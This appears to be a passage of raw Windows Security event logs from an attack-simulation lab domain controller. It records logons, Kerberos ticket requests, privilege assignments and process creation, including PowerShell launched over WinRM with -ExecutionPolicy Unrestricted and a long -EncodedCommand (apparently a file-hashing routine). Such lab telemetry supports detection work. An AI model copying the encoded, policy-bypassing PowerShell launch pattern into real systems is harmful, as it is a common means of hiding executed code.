SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250622 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x114BB2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250621 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250620 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250619 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250618 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1134 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1138 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADIALgA2ADcAMQAyADUANAAtADIANgAwADYAMwA1ADYANAAyADEAOAA5ADEANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250617 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1138 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1340 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADIALgA2ADcAMQAyADUANAAtADIANgAwADYAMwA1ADYANAAyADEAOAA5ADEANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250616 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1149BF - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250615 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1149BF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250614 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250613 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250612 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250611 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1149A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250610 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1149A3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250609 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1149A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250608 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250607 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250606 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250605 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x114301 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250604 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x113986 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250603 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x112531 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250602 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1104 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBEA9.tmp" "c:\Users\Administrator\AppData\Local\Temp\2qehzyd4\CSC86CFC5DF1C644F0B629A17CD4A33ED8.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a 